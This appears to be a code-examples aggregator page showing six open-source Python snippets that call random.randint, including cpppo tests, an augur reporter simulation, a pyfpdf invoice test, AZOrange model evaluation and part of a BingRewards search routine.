random.randint

Here are the examples of the python api random.randint taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

200 Examples 7

Example 1

Project: cpppo
Source File: history_test.py
View license
@pytest.mark.skipif( not has_pytz or not got_localzone, reason="Needs pytz and localzone" )
def test_history_performance():
    try:
        tracemalloc.start()
    except:
        pass

    for _ in range( 3 ):
        path		= "/tmp/test_performance_%d" % random.randint( 100000, 999999 )
        if os.path.exists( path ):
            continue
    assert not os.path.exists( path ), "Couldn't find an unused name: %s" % path 

    files		= []
    try:
        day		= 24*60*60
        dur		= 3*day		# a few days worth of data
        regstps		= 0.0,5.0	# 0-5secs between updates
        numfiles	= dur//day+1	# ~1 file/day, but at least 2
        values		= {}		# Initial register values
        regscount	= 1000		# Number of different registers
        regschanged	= 1,10		# From 1-25 registers per row
        regsbase	= 40001

        start		= timer()

        now = beg	= start - dur
        linecnt		= 0
        for e in reversed( range( numfiles )):
            f		= path + (( '.%d' % e ) if e else '') # 0'th file has no extension
            files.append( f )
            with logger( f ) as l:
                if values:
                    l.write( values, now=now ); linecnt += 1
                while now < beg + len(files) * dur/numfiles:
                    lst	= now
                    now += random.uniform( *regstps )
                    assert now >= lst
                    assert timestamp( now ) >= timestamp( lst ), "now: %s, timestamp(now): %s" % ( now, timestamp( now ))
                    updates = {}
                    for _ in range( random.randint( *regschanged )):
                        updates[random.randint( regsbase, regsbase + regscount - 1 )] = random.randint( 0, 1<<16 - 1 )
                    values.update( updates )
                    l.write( updates, now=now ); linecnt += 1
                lst 	= now
                now    += random.uniform( *regstps )
                assert now >= lst
                assert timestamp( now ) >= timestamp( lst )
            if e:
                # Compress .1 onward using a random format; randomly delete origin uncompressed file
                # so sometimes both files exist
                if random.choice( (True, False, False, False) ):
                    continue # Don't make a compressed version of some files
                fz	 = f + '.%s' % random.choice( ('gz', 'bz2', 'xz') )
                files.append( fz )
                with opener( fz, mode='wb' ) as fd:
                    fd.write( open( f, 'rb' ).read() )
                if random.choice( (True, False, False) ):
                    continue # Don't remove some of the uncompressed files
                os.unlink( f )
                files.pop( files.index( f ))

        logging.warning( "Generated data in %.3fs; lines: %d", timer() - start, linecnt )

        # Start somewhere within 0-1% the dur of the beg, forcing the load the look back to
        # find the first file.  Try to do it all in the next 'playback' second (just to push it to
        # the max), in 'chunks' pieces.
        historical	= timestamp( random.uniform( beg + dur*0/100, beg + dur*1/100 ))
        basis		= timer()
        playback	= 2.0 * dur/day # Can sustain ~2 seconds / day of history on a single CPU
        chunks		= 1000
        factor		= dur / playback
        lookahead	= 60.0
        duration	= None
        if random.choice( (True,False) ):
            duration	= random.uniform( dur * 98/100, dur * 102/100 )

        begoff		= historical.value - beg
        endoff		= 0 if duration is None else (( historical.value + duration ) - ( beg + dur ))
        logging.warning( "Playback starts at beginning %s %s, duration %s, ends at ending %s %s",
                         timestamp( beg ), format_offset( begoff, ms=False ),
                         None if duration is None else format_offset( duration, ms=False, symbols='-+' ),
                         timestamp( beg + dur ), format_offset( endoff, ms=False ))

        ld		= loader(
            path, historical=historical, basis=basis, factor=factor, lookahead=lookahead, duration=duration )
        eventcnt	= 0
        slept		= 0
        cur		= None
        while ld:
            once	= False
            while ld.state < ld.AWAITING or not once:
                once		= True
                upcoming	= None
                limit		= random.randint( 0, 250 )
                if random.choice( (True,False) ):
                    upcoming	= ld.advance()
                    if random.choice( (True,False) ) and cur:
                        # ~25% of the time, provide an 'upcoming' timestamp that is between the
                        # current advancing historical time and the last load time.
                        upcoming-= random.uniform( 0, upcoming.value - cur.value )
                cur,events	= ld.load( upcoming=upcoming, limit=limit )
                eventcnt       += len( events )
                advance		= ld.advance()
                offset		= advance.value - cur.value
                logging.detail( "%s loaded up to %s (%s w/ upcoming %14s); %4d future, %4d values: %4d events / %4d limit" ,
                                ld, cur, format_offset( offset ),
                                format_offset( upcoming.value - advance.value ) if upcoming is not None else None,
                                len( ld.future ), len( ld.values ), len( events ), limit )

            logging.warning( "%s loaded up to %s; %3d future, %4d values: %6d events total",
                                ld, cur, len( ld.future ), len( ld.values ), eventcnt )
            try:
                snapshot	= tracemalloc.take_snapshot()
                display_top( snapshot, limit=10 )
            except:
                pass

            time.sleep( playback/chunks )
            slept	       += playback/chunks

        elapsed		= timer() - basis
        eventtps	= eventcnt // ( elapsed - slept )
        logging.error( "Playback in %.3fs (slept %.3fs); events: %d ==> %d historical records/sec",
                       elapsed, slept, eventcnt, eventtps )
        if not logging.getLogger().isEnabledFor( logging.NORMAL ):
            # Ludicrously low threshold, to pass tests on very slow machines
            assert eventtps >= 1000, \
                "Historical event processing performance low: %d records/sec" % eventtps
        try:
            display_biggest_traceback()
        except:
            pass

    except Exception as exc:
        logging.normal( "Test failed: %s", exc )
        '''
        for f in files:
            logging.normal( "%s:\n    %s", f, "    ".join( l for l in open( f )))
        '''
        raise

    finally:
        for f in files:
            logging.detail( "unlinking %s", f )
            try:
                os.unlink( f )
            except:
                pass

Example 2

Project: cpppo
Source File: client_test.py
View license
def test_client_api():
    """Performance of executing an operation a number of times on a socket connected
    Logix simulator, within the same Python interpreter (ie. all on a single CPU
    thread).

    """
    #logging.getLogger().setLevel( logging.NORMAL )

    taglen			= 100 # able to fit request for Attribute into 1 packet

    svraddr		        = ('localhost', 12399)
    svrkwds			= dotdict({
        'argv': [
            #'-v',
            '--address',	'%s:%d' % svraddr,
            'Int=INT[%d]' % ( taglen ),
            'Real=REAL[%d]' % ( taglen ),
            'DInt=DINT[%d]' % ( taglen ),
        ],
        'server': {
            'control':	apidict( enip.timeout, { 
                'done': False
            }),
        },
    })
    clitimes			= 100
    clitimeout			= 15.0
    clidepth			= 5		# max. requests in-flight
    climultiple			= 500		# max. bytes of req/rpy per Multiple Service Packet
    clicount			= 7
    clipool			= 5

    def tagtests( total, name="Int", length=taglen, tag_class=enip.INT ):
        """Generate random reads and writes to Tag 'name' (default "Int", tag_class enip.INT); can only
        handle types with real, not estimated, sizes (ie. not SSTRING).  All writes write a value
        equal to the index, all reads should report the correct value (or 0, if the element was
        never written).  Randomly supply an offset (force Read/Write Tag Fragmented).

        Yields the effective (elm,cnt), and the tag=val,val,... .

        """
        for i in range( total ):
            elm			= random.randint( 0, length-1 ) 
            cnt			= random.randint( 1, min( 5, length - elm ))
            off			= None # in elements, not bytes
            val			= None
            if not random.randint( 0, 10 ) and cnt > 1:
                off			= random.randint( 0, cnt - 1 )
            if random.randint( 0, 1 ):
                val		= list( range( elm + ( off or 0 ), elm + cnt ))
            tag			= "%s[%d-%d]" % ( name, elm, elm + cnt - 1 )
            if off is not None:
                tag	       += "+%d" % ( off * tag_class.struct_calcsize )
            if val is not None:
                tag	       += '=(%s)' % tag_class.__name__ + ','.join( map( str, val ))

            yield (elm+( off or 0 ),cnt-( off or 0 )),tag

    def clitest( n ):
        times			= clitimes  # How many I/O per client
        # take apart the sequence of ( ..., ((elm,cnt), "Int[1-2]=1,2"), ...)
        # into two sequences: (..., (elm,cnt), ...) and (..., "Int[1-2]=1,2", ...)
        tag_targets		= [('Int',enip.INT), ('DInt',enip.DINT), ('Real',enip.REAL)]
        name,tag_class		= random.choice( tag_targets )
        regs,tags		= zip( *list( tagtests( total=times, name=name, tag_class=tag_class )))
        connection		= None
        while not connection:
            try:
                connection	= enip.client.connector( *svraddr, timeout=clitimeout )
            except OSError as exc:
                if exc.errno != errno.ECONNREFUSED:
                    raise
                time.sleep( .1 )
         
        results			= []
        failures		= 0
        with connection:
            multiple		= random.randint( 0, 4 ) * climultiple // 4 	# eg. 0, 125, 250, 375, 500
            depth		= random.randint( 0, clidepth )			# eg. 0 .. 5
            for idx,dsc,req,rpy,sts,val in connection.pipeline(
                    operations=enip.client.parse_operations( tags ), timeout=clitimeout,
                    multiple=multiple, depth=depth ):
                log.detail( "Client %3d: %s --> %r ", n, dsc, val )
                if not val:
                    log.warning( "Client %d harvested %d/%d results; failed request: %s",
                                 n, len( results ), len( tags ), rpy )
                    failures       += 1
                results.append( (dsc,val) )
        if len( results ) != len( tags ):
            log.warning( "Client %d harvested %d/%d results", n, len( results ), len( tags ))
            failures	       += 1
        # Now, ensure that any results that reported values reported the correct values -- each
        # value equals its own index or 0.
        for i,(elm,cnt),tag,(dsc,val) in zip( range( times ), regs, tags, results ):
            log.detail( "Running on test %3d: operation %34s (%34s) on %5s[%3d-%-3d] ==> %s",
                i, tag, dsc, name, elm, elm + cnt - 1, val )
            if not val:
                log.warning( "Failure in test %3d: operation %34s (%34s) on %5s[%3d-%-3d]: %s",
                             i, tag, dsc, name, elm, elm + cnt - 1, val )
                failures       += 1
            if isinstance( val, list ): # write returns True; read returns list of data
                #print( "%s testing %10s[%5d-%-5d]: %r" % ( threading.current_thread().name, tag, elm, elm + cnt - 1, val ))
                if not all( v in (e,0) for v,e in zip( val, range( elm, elm + cnt ))):
                    log.warning( "Failure in test %3d: operation %34s (%34s) on %5s[%3d-%-3d] didn't equal indexes: %s",
                                 i, tag, dsc, name, elm, elm + cnt - 1, val )
                    failures       += 1

        return 1 if failures else 0

    failed			= network.bench( server_func	= enip.main,
                                                 server_kwds	= svrkwds,
                                                 client_func	= clitest,
                                                 client_count	= clicount,
                                                 client_max	= clipool )
    assert failed == 0

Example 3

Project: augur-core
Source File: augur.py
View license
def initiate(numEvents, numReporters):
    # need a bunch of random events
    # w/ random volumes
    totalVol = 0
    numberReportEstimate = 0
    listVol = []
    maxVol = 1000000
    for x in range(0, numEvents):
        curVol = random.randint(1, maxVol)
        listVol.append(curVol)
        totalVol += curVol
        maxVol -= int(curVol/10)
    for x in range(0, numEvents):
        z = listVol[x] / totalVol
        numberReportEstimate += 40
            #or num reporters - gives you directly % of reporters reporting on an event
            # do a minimum to max function, min 30 then multiply by volume from 0-1 up to max
            #30*(-(267 x^2)/2+(533 x)/2+1) with x as fraction of volume

            # need a bunch of reporters w/ random rep #s
    reporterList = []
    eventsExpected = []
    totalRep = 0
    eventsActually = []
    maxRep = 11000000*2**64
    for n in range(0, numReporters):
        rep = random.randint(0, maxRep)
        reporterList.append(rep)
        totalRep += rep
        maxRep -= int(rep/10)
    lowestVolNum = 0
    reportsOnLowest = 0
    lowestVolAmt = 11000000*TWO
    for z in range(0, numEvents):
        if(listVol[z]<lowestVolAmt):
            lowestVolNum = z
    for n in range(0, numReporters):
        # need to calc. num events per reporter expected
        eventsExpected.append(numberReportEstimate*((reporterList[n]/totalRep)**1.2+.001))
        eventsActuallyReporter = []
        # maybe increase 50 to 60 or do 1.1 instead of 1.2
        for z in range(0, numEvents):
            # need to use a rng to see how many really reported on
            volFraction = listVol[z]/totalVol
            repConstant = (reporterList[n]/totalRep)**1.2+.001
            reportingThreshold = (40*(-(267*volFraction**2)/2+(533*volFraction)/2+1)*repConstant)*2**256
            #reportingThreshold = (math.sqrt(listVol[z]/totalVol)*50*reporterList[n]/totalRep)*2**256
            if(random.randint(0, 2**256)<reportingThreshold):
                eventsActuallyReporter.append(1)
                if(z==lowestVolNum):
                    reportsOnLowest += 1
        eventsActually.append(len(eventsActuallyReporter))

    difference = []
    last = 0
    lastReporter = 0
    for y in range(0, numReporters):
        if(eventsExpected[y]>numEvents):
            difference.append(numEvents - eventsActually[y])
        else:
            difference.append(eventsExpected[y] - eventsActually[y])
        if(difference[y]>last):
            last = difference[y]
            lastReporter = y
    # last is worst case difference between number of events selected to report on and what we expect
    avg = 0
    for x in range(0, numReporters):
        avg += difference[x]
    avg = avg/numReporters
    #    return(avg)
    lastExpectation = 100
    reporterLast = 0
    for z in range(0, numReporters):
        if(eventsExpected[z]>numEvents):
            eventsExpected[z] = numEvents
        if(eventsActually[z]/eventsExpected[z] < .55):
            return(1)
            #if(eventsActually[z]/eventsExpected[z]<lastExpectation):
             #   lastExpectation = eventsActually[z]/eventsExpected[z]
              #  reporterLast = z
    return(0)
    # events reported on by 3rd reporter, % rep of 3rd reporter, events reported on by last reporter, % rep of last reporter
    #return(reporterList[numReporters-1]/totalRep, eventsActually[numReporters-1], eventsExpected[numReporters-1], eventsActually[numReporters-1]/eventsExpected[numReporters-1], reportsOnLowest)

    def go(numEvents, numReporters):
        for x in range(0,numEvents):
            for y in range(0, numReporters):
                if(self.initiate(x, y)==1):
                    return("damn")
        return(1)
# loop through all and make sure none < .5
# min rep to report
# atk by making a ton of accounts and reporting
# hash precomputing attack

Example 4

Project: pyfpdf
Source File: test_invoice.py
View license
@common.add_unittest
def dotest(outputname, nostamp):

    # generate sample invoice (according Argentina's regulations)   
    from decimal import Decimal

    f = Template(format="A4",
             title="Sample Invoice", author="Sample Company",
             subject="Sample Customer", keywords="Electronic TAX Invoice")
    if nostamp:
        f.pdf._putinfo = lambda: common.test_putinfo(f.pdf)
        random = randomfake()
    else:
        import random

    csvpath = os.path.join(common.basepath, "invoice.csv")
    f.parse_csv(infile=csvpath, delimiter=";", decimal_sep=",")
    
    detail = "Lorem ipsum dolor sit amet, consectetur. " * 30
    items = []
    for i in range(1, 30):
        ds = "Sample product %s" % i
        qty = random.randint(1,10)
        price = round(random.random()*100,3)
        code = "%s%s%02d" % (chr(random.randint(65,90)), chr(random.randint(65,90)),i)
        items.append(dict(code=code, unit='u',
                          qty=qty, price=price, 
                          amount=qty*price,
                          ds="%s: %s" % (i,ds)))

    # divide and count lines
    lines = 0
    li_items = []
    for it in items:
        qty = it['qty']
        code = it['code']
        unit = it['unit']
        for ds in f.split_multicell(it['ds'], 'item_description01'):
            # add item description line (without price nor amount)
            li_items.append(dict(code=code, ds=ds, qty=qty, unit=unit, price=None, amount=None))
            # clean qty and code (show only at first)
            unit = qty = code = None
        # set last item line price and amount
        li_items[-1].update(amount = it['amount'],
                            price = it['price'])

    obs="\n<U>Detail:</U>\n\n" + detail
    for ds in f.split_multicell(obs, 'item_description01'):
        li_items.append(dict(code=code, ds=ds, qty=qty, unit=unit, price=None, amount=None))

    # calculate pages:
    lines = len(li_items)
    max_lines_per_page = 24
    pages = lines // (max_lines_per_page - 1)
    if lines % (max_lines_per_page - 1): pages = pages + 1

    # completo campos y hojas
    for page in range(1, int(pages)+1):
        f.add_page()
        f['page'] = 'Page %s of %s' % (page, pages)
        if pages>1 and page<pages:
            s = 'Continues on page %s' % (page+1)
        else:
            s = ''
        f['item_description%02d' % (max_lines_per_page+1)] = s

        f["company_name"] = "Sample Company"
        f["company_logo"] = os.path.join(common.basepath, "../tutorial/logo.png")
        f["company_header1"] = "Some Address - somewhere -"
        f["company_header2"] = "http://www.example.com"        
        f["company_footer1"] = "Tax Code ..."
        f["company_footer2"] = "Tax/VAT ID ..."
        f['number'] = '0001-00001234'
        f['issue_date'] = '2010-09-10'
        f['due_date'] = '2099-09-10'
        f['customer_name'] = "Sample Client"
        f['customer_address'] = "Siempreviva 1234"
       
        # print line item...
        li = 0 
        k = 0
        total = Decimal("0.00")
        for it in li_items:
            k = k + 1
            if k > page * (max_lines_per_page - 1):
                break
            if it['amount']:
                total += Decimal("%.6f" % it['amount'])
            if k > (page - 1) * (max_lines_per_page - 1):
                li += 1
                if it['qty'] is not None:
                    f['item_quantity%02d' % li] = it['qty']
                if it['code'] is not None:
                    f['item_code%02d' % li] = it['code']
                if it['unit'] is not None:
                    f['item_unit%02d' % li] = it['unit']
                f['item_description%02d' % li] = it['ds']
                if it['price'] is not None:
                    f['item_price%02d' % li] = "%0.3f" % it['price']
                if it['amount'] is not None:
                    f['item_amount%02d' % li] = "%0.2f" % it['amount']

        if pages == page:
            f['net'] = "%0.2f" % (total/Decimal("1.21"))
            f['vat'] = "%0.2f" % (total*(1-1/Decimal("1.21")))
            f['total_label'] = 'Total:'
        else:
            f['total_label'] = 'SubTotal:'
        f['total'] = "%0.2f" % total
            
    f.render(outputname)

Example 5

Project: AZOrange
Source File: getUnbiasedAccuracy.py
View license
    def getAcc(self, callBack = None, callBackWithFoldModel = None):
        """ For regression problems, it returns the RMSE and the Q2 
            For Classification problems, it returns CA and the ConfMat
            The return is made in a Dict: {"RMSE":0.2,"Q2":0.1,"CA":0.98,"CM":[[TP, FP],[FN,TN]]}
            For the EvalResults not supported for a specific learner/datase, the respective result will be None

            if the learner is a dict {"LearnerName":learner, ...} the results will be a dict with results for all Learners and for a consensus
                made out of those that were stable

            It some error occurred, the respective values in the Dict will be None
        """
        self.__log("Starting Calculating MLStatistics")
        statistics = {}
        if not self.__areInputsOK():
            return None
        # Set the response type
        self.responseType =  self.data.domain.classVar.varType == orange.VarTypes.Discrete and "Classification"  or "Regression"
        self.__log("  "+str(self.responseType))

        #Create the Train and test sets
        if self.usePreDefFolds:
            DataIdxs = self.preDefIndices 
        else:
            DataIdxs = self.sampler(self.data, self.nExtFolds) 
        foldsN = [f for f in dict.fromkeys(DataIdxs) if f != 0] #Folds used only from 1 on ... 0 are for fixed train Bias
        nFolds = len(foldsN)
        #Fix the Indexes based on DataIdxs
        # (0s) represents the train set  ( >= 1s) represents the test set folds
        if self.useVarCtrlCV:
            nShifted = [0] * nFolds
            for idx,isTest in enumerate(self.preDefIndices):  # self.preDefIndices == 0 are to be used in TrainBias
                if not isTest:
                    if DataIdxs[idx]:
                        nShifted[DataIdxs[idx]] += 1
                        DataIdxs[idx] = 0
            for idx,shift in enumerate(nShifted):
                self.__log("In fold "+str(idx)+", "+str(shift)+" examples were shifted to the train set.")

        #Var for saving each Fols result
        optAcc = {}
        results = {}
        exp_pred = {}
        nTrainEx = {}
        nTestEx = {}
        
        #Set a dict of learners
        MLmethods = {}
        if type(self.learner) == dict:
            for ml in self.learner:
                MLmethods[ml] = self.learner[ml]
        else:
            MLmethods[self.learner.name] = self.learner

        models={}
        self.__log("Calculating Statistics for MLmethods:")
        self.__log("  "+str([x for x in MLmethods]))

        #Check data in advance so that, by chance, it will not faill at the last fold!
        for foldN in foldsN:
            trainData = self.data.select(DataIdxs,foldN,negate=1)
            self.__checkTrainData(trainData)

        #Optional!!
        # Order Learners so that PLS is the first
        sortedML = [ml for ml in MLmethods]
        if "PLS" in sortedML:
            sortedML.remove("PLS")
            sortedML.insert(0,"PLS")

        stepsDone = 0
        nTotalSteps = len(sortedML) * self.nExtFolds  
        for ml in sortedML:
          startTime = time.time()
          self.__log("    > "+str(ml)+"...")
          try:
            #Var for saving each Fols result
            results[ml] = []
            exp_pred[ml] = []
            models[ml] = []
            nTrainEx[ml] = []
            nTestEx[ml] = []
            optAcc[ml] = []
            logTxt = ""
            for foldN in foldsN:
                if type(self.learner) == dict:
                    self.paramList = None

                trainData = self.data.select(DataIdxs,foldN,negate=1)
                testData = self.data.select(DataIdxs,foldN)
                smilesAttr = dataUtilities.getSMILESAttr(trainData)
                if smilesAttr:
                    self.__log("Found SMILES attribute:"+smilesAttr)
                    if MLmethods[ml].specialType == 1:
                       trainData = dataUtilities.attributeSelectionData(trainData, [smilesAttr, trainData.domain.classVar.name]) 
                       testData = dataUtilities.attributeSelectionData(testData, [smilesAttr, testData.domain.classVar.name]) 
                       self.__log("Selected attrs: "+str([attr.name for attr in trainData.domain]))
                    else:
                       trainData = dataUtilities.attributeDeselectionData(trainData, [smilesAttr]) 
                       testData = dataUtilities.attributeDeselectionData(testData, [smilesAttr]) 
                       self.__log("Selected attrs: "+str([attr.name for attr in trainData.domain[0:3]] + ["..."] + [attr.name for attr in trainData.domain[len(trainData.domain)-3:]]))

                nTrainEx[ml].append(len(trainData))
                nTestEx[ml].append(len(testData))
                #Test if trainsets inside optimizer will respect dataSize criterias.
                #  if not, don't optimize, but still train the model
                dontOptimize = False
                if self.responseType != "Classification" and (len(trainData)*(1-1.0/self.nInnerFolds) < 20):
                    dontOptimize = True
                else:                      
                    tmpDataIdxs = self.sampler(trainData, self.nInnerFolds)
                    tmpTrainData = trainData.select(tmpDataIdxs,1,negate=1)
                    if not self.__checkTrainData(tmpTrainData, False):
                        dontOptimize = True

                SpecialModel = None
                if dontOptimize:
                    logTxt += "       Fold "+str(foldN)+": Too few compounds to optimize model hyper-parameters\n"
                    self.__log(logTxt)
                    if trainData.domain.classVar.varType == orange.VarTypes.Discrete:
                        res = evalUtilities.crossValidation([MLmethods[ml]], trainData, folds=5, stratified=orange.MakeRandomIndices.StratifiedIfPossible, random_generator = random.randint(0, 100))
                        CA = evalUtilities.CA(res)[0]
                        optAcc[ml].append(CA)
                    else:
                        res = evalUtilities.crossValidation([MLmethods[ml]], trainData, folds=5, stratified=orange.MakeRandomIndices.StratifiedIfPossible, random_generator = random.randint(0, 100))
                        R2 = evalUtilities.R2(res)[0]
                        optAcc[ml].append(R2)
                else:
                    if MLmethods[ml].specialType == 1: 
                            if trainData.domain.classVar.varType == orange.VarTypes.Discrete:
                                    optInfo, SpecialModel = MLmethods[ml].optimizePars(trainData, folds = 5)
                                    optAcc[ml].append(optInfo["Acc"])
                            else:
                                    res = evalUtilities.crossValidation([MLmethods[ml]], trainData, folds=5, stratified=orange.MakeRandomIndices.StratifiedIfPossible, random_generator = random.randint(0, 100))
                                    R2 = evalUtilities.R2(res)[0]
                                    optAcc[ml].append(R2)
                    else:
                            runPath = miscUtilities.createScratchDir(baseDir = AZOC.NFS_SCRATCHDIR, desc = "AccWOptParam", seed = id(trainData))
                            trainData.save(os.path.join(runPath,"trainData.tab"))
                            tunedPars = paramOptUtilities.getOptParam(
                                learner = MLmethods[ml], 
                                trainDataFile = os.path.join(runPath,"trainData.tab"), 
                                paramList = self.paramList, 
                                useGrid = False, 
                                verbose = self.verbose, 
                                queueType = self.queueType, 
                                runPath = runPath, 
                                nExtFolds = None, 
                                nFolds = self.nInnerFolds,
                                logFile = self.logFile,
                                getTunedPars = True,
                                fixedParams = self.fixedParams)
                            if not MLmethods[ml] or not MLmethods[ml].optimized:
                                self.__log("       WARNING: GETACCWOPTPARAM: The learner "+str(ml)+" was not optimized.")
                                self.__log("                It will be ignored")
                                #self.__log("                It will be set to default parameters")
                                self.__log("                    DEBUG can be done in: "+runPath)
                                #Set learner back to default 
                                #MLmethods[ml] = MLmethods[ml].__class__()
                                raise Exception("The learner "+str(ml)+" was not optimized.")
                            else:
                                if trainData.domain.classVar.varType == orange.VarTypes.Discrete:
                                    optAcc[ml].append(tunedPars[0])
                                else:
                                    res = evalUtilities.crossValidation([MLmethods[ml]], trainData, folds=5, stratified=orange.MakeRandomIndices.StratifiedIfPossible, random_generator = random.randint(0, 100))
                                    R2 = evalUtilities.R2(res)[0]
                                    optAcc[ml].append(R2)

                                miscUtilities.removeDir(runPath) 
                #Train the model
                if SpecialModel is not None:
                    model = SpecialModel 
                else:
                    model = MLmethods[ml](trainData)
                models[ml].append(model)
                #Test the model
                if self.responseType == "Classification":
                    results[ml].append((evalUtilities.getClassificationAccuracy(testData, model), evalUtilities.getConfMat(testData, model) ) )
                else:
                    local_exp_pred = []
                    # Predict using bulk-predict
                    predictions = model(testData)
                    # Gather predictions
                    for n,ex in enumerate(testData):
                        local_exp_pred.append((ex.getclass().value, predictions[n].value))
                    results[ml].append((evalUtilities.calcRMSE(local_exp_pred), evalUtilities.calcRsqrt(local_exp_pred) ) )
                    #Save the experimental value and correspondent predicted value
                    exp_pred[ml] += local_exp_pred
                if callBack:
                     stepsDone += 1
                     if not callBack((100*stepsDone)/nTotalSteps): return None
                if callBackWithFoldModel:
                    callBackWithFoldModel(model) 

            res = self.createStatObj(results[ml], exp_pred[ml], nTrainEx[ml], nTestEx[ml],self.responseType, self.nExtFolds, logTxt, labels = hasattr(self.data.domain.classVar,"values") and list(self.data.domain.classVar.values) or None )
            if self.verbose > 0: 
                print "UnbiasedAccuracyGetter!Results  "+ml+":\n"
                pprint(res)
            if not res:
                raise Exception("No results available!")
            res["runningTime"] = time.time() - startTime
            statistics[ml] = copy.deepcopy(res)
            self.__writeResults(statistics)
            self.__log("       OK")
          except:
            self.__log("       Learner "+str(ml)+" failed to create/optimize the model!")
            error = str(sys.exc_info()[0]) +" "+\
                        str(sys.exc_info()[1]) +" "+\
                        str(traceback.extract_tb(sys.exc_info()[2]))
            self.__log(error)
 
            res = self.createStatObj()
            statistics[ml] = copy.deepcopy(res)
            self.__writeResults(statistics)

        if not statistics or len(statistics) < 1:
            self.__log("ERROR: No statistics to return!")
            return None
        elif len(statistics) > 1:
            #We still need to build a consensus model out of the stable models 
            #   ONLY if there are more that one model stable!
            #   When only one or no stable models, build a consensus based on all models
            # ALWAYS exclude specialType models (MLmethods[ml].specialType > 0)
            consensusMLs={}
            for modelName in statistics:
                StabilityValue = statistics[modelName]["StabilityValue"]
                if StabilityValue is not None and statistics[modelName]["stable"]:
                    consensusMLs[modelName] = copy.deepcopy(statistics[modelName])

            self.__log("Found "+str(len(consensusMLs))+" stable MLmethods out of "+str(len(statistics))+" MLmethods.")

            if len(consensusMLs) <= 1:   # we need more models to build a consensus!
                consensusMLs={}
                for modelName in statistics:
                    consensusMLs[modelName] = copy.deepcopy(statistics[modelName])

            # Exclude specialType models 
            excludeThis = []
            for learnerName in consensusMLs:
                if models[learnerName][0].specialType > 0:
                    excludeThis.append(learnerName)
            for learnerName in excludeThis:
                consensusMLs.pop(learnerName)
                self.__log("    > Excluded special model " + learnerName)
            self.__log("    > Stable modules: " + str(consensusMLs.keys()))

            if len(consensusMLs) >= 2:
                #Var for saving each Fols result
                startTime = time.time()
                Cresults = []
                Cexp_pred = []
                CnTrainEx = []
                CnTestEx = []
                self.__log("Calculating the statistics for a Consensus model based on "+str([ml for ml in consensusMLs]))
                for foldN in range(self.nExtFolds):
                    if self.responseType == "Classification":
                        CLASS0 = str(self.data.domain.classVar.values[0])
                        CLASS1 = str(self.data.domain.classVar.values[1])
                        # exprTest0
                        exprTest0 = "(0"
                        for ml in consensusMLs:
                            exprTest0 += "+( "+ml+" == "+CLASS0+" )*"+str(optAcc[ml][foldN])+" "
                        exprTest0 += ")/IF0(sum([False"
                        for ml in consensusMLs:
                            exprTest0 += ", "+ml+" == "+CLASS0+" "
                        exprTest0 += "]),1)"
                        # exprTest1
                        exprTest1 = "(0"
                        for ml in consensusMLs:
                            exprTest1 += "+( "+ml+" == "+CLASS1+" )*"+str(optAcc[ml][foldN])+" "
                        exprTest1 += ")/IF0(sum([False"
                        for ml in consensusMLs:
                            exprTest1 += ", "+ml+" == "+CLASS1+" "
                        exprTest1 += "]),1)"
                        # Expression
                        expression = [exprTest0+" >= "+exprTest1+" -> "+CLASS0," -> "+CLASS1]
                    else:
                        Q2sum = sum([optAcc[ml][foldN] for ml in consensusMLs])
                        expression = "(1 / "+str(Q2sum)+") * (0"
                        for ml in consensusMLs:
                            expression += " + "+str(optAcc[ml][foldN])+" * "+ml+" "
                        expression += ")"

                    testData = self.data.select(DataIdxs,foldN+1)  # fold 0 if for the train Bias!!
                    smilesAttr = dataUtilities.getSMILESAttr(testData)
                    if smilesAttr:
                        self.__log("Found SMILES attribute:"+smilesAttr)
                        testData = dataUtilities.attributeDeselectionData(testData, [smilesAttr])
                        self.__log("Selected attrs: "+str([attr.name for attr in trainData.domain[0:3]] + ["..."] + [attr.name for attr in trainData.domain[len(trainData.domain)-3:]]))

                    CnTestEx.append(len(testData))
                    consensusClassifiers = {}
                    for learnerName in consensusMLs:
                        consensusClassifiers[learnerName] = models[learnerName][foldN]

                    model = AZorngConsensus.ConsensusClassifier(classifiers = consensusClassifiers, expression = expression)     
                    CnTrainEx.append(model.NTrainEx)
                    #Test the model
                    if self.responseType == "Classification":
                        Cresults.append((evalUtilities.getClassificationAccuracy(testData, model), evalUtilities.getConfMat(testData, model) ) )
                    else:
                        local_exp_pred = []
                        # Predict using bulk-predict
                        predictions = model(testData)
                        # Gather predictions
                        for n,ex in enumerate(testData):
                            local_exp_pred.append((ex.getclass().value, predictions[n].value))
                        Cresults.append((evalUtilities.calcRMSE(local_exp_pred), evalUtilities.calcRsqrt(local_exp_pred) ) )
                        #Save the experimental value and correspondent predicted value
                        Cexp_pred += local_exp_pred

                res = self.createStatObj(Cresults, Cexp_pred, CnTrainEx, CnTestEx, self.responseType, self.nExtFolds, labels = hasattr(self.data.domain.classVar,"values") and list(self.data.domain.classVar.values) or None )
                res["runningTime"] = time.time() - startTime
                statistics["Consensus"] = copy.deepcopy(res)
                statistics["Consensus"]["IndividualStatistics"] = copy.deepcopy(consensusMLs)
                self.__writeResults(statistics)
            self.__log("Returned multiple ML methods statistics.")
            return statistics
                 
        #By default return the only existing statistics!
        self.__writeResults(statistics)
        self.__log("Returned only one ML method statistics.")
        return statistics[statistics.keys()[0]]

Example 6

Project: BingRewards
Source File: bingRewards.py
View license
    def __processSearch(self, reward, verbose):
        """Processes bfp.Reward.Type.Action.SEARCH and returns self.RewardResult"""

        BING_QUERY_URL = 'http://www.bing.com/search?q='
        BING_QUERY_SUCCESSFULL_RESULT_MARKER_PC = '<div id="b_content">'
        BING_QUERY_SUCCESSFULL_RESULT_MARKER_MOBILE = '<div id="content">'
        IG_PING_LINK = "http://www.bing.com/fd/ls/GLinkPing.aspx"
        IG_NUMBER_PATTERN = re.compile(r'IG:"([^"]+)"')
        IG_SEARCHES_PATTERN = re.compile(r'<li\s[^>]*class="b_algo"[^>]*><h2><a\s[^>]*href="(http[^"]+)"\s[^>]*h="([^"]+)"')

        res = self.RewardResult(reward)
        if reward.isAchieved():
            res.message = "This reward has been already achieved"
            return res

        indCol = bfp.Reward.Type.Col.INDEX

# get a set of queries from today's Bing! history
        url = bingHistory.getBingHistoryTodayURL()
        request = urllib2.Request(url = url, headers = self.httpHeaders)
        with self.opener.open(request) as response:
            page = helpers.getResponseBody(response)
        history = bingHistory.parse(page)

# find out how many searches need to be performed
        matches = bfp.Reward.Type.SEARCH_AND_EARN_DESCR_RE.search(reward.description)
        if matches is None:
            print "No RegEx matches found for this search and earn"
            res.isError = True
            res.message = "No RegEx matches found for this search and earn"
            return res
        maxRewardsCount = int(matches.group(1))
        rewardsCount    = int(matches.group(2))
